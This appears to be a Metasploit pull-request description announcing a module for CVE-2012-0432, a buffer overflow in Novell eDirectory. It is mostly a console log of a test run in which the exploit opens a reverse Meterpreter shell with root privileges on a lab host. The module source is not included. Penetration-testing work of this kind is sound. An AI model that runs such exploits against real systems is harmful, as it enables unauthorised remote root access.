Added module for cve-2012-0432

Tested successfully on Novell eDirectory 8.8.7 v20701.33/ SLES 10 SP3

```
msf  exploit(novell_edirectory_ncp_bof) > check
[*] The target service is running, but could not be validated.

msf  exploit(novell_edirectory_ncp_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444 
[*] Sending Service Connection Request...
[+] Service Connection successful
[*] Sending Overflow on Keyed Object Login...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.1.134
[*] Meterpreter session 5 opened (192.168.1.129:4444 -> 192.168.1.134:42157) at 2013-01-23 10:48:10 +0100

meterpreter > sysinfo
Computer     : DA1
OS           : Linux DA1 2.6.16.60-0.54.5-default #1 Fri Sep 4 01:28:03 UTC 2009 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.134 - Meterpreter session 5 closed.  Reason: User exit

```